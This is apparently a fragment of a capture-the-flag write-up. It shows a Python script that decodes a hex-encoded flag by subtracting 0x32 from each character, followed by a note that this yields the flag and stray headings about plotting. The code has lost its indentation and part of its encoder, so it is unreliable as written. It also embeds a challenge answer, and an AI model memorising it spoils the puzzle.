[print('{:x}'.format(ord(each)+0x32), end='l') for each in flag]
print()
def dec():
enc_flag = '86la1l52l9fl93l9dl97l52l9bla6l52l9fla1la4l97l52l96l9bl98l98l9bl95la7l9ela6l52la6la1l52l95l93l9el95la7l9el93la6l97l52la6l9al97l52l98l9el93l99l52l94labl52l9al93la0l96l5el52la0la7l93l93l95la6l98ladla2labl91la7la0l95la1l9fla2labl9el97lafl5el52l98l9el93l99l52l9bla5l52l98la1la4l52la5l95la4l9bla2la6la5l'
enc_flag = enc_flag[:-1].split('l')
for each in enc_flag:
print(chr(int(each, 16)-0x32), end='')
print()
enc()
dec()
得到flag
plot
g-code plot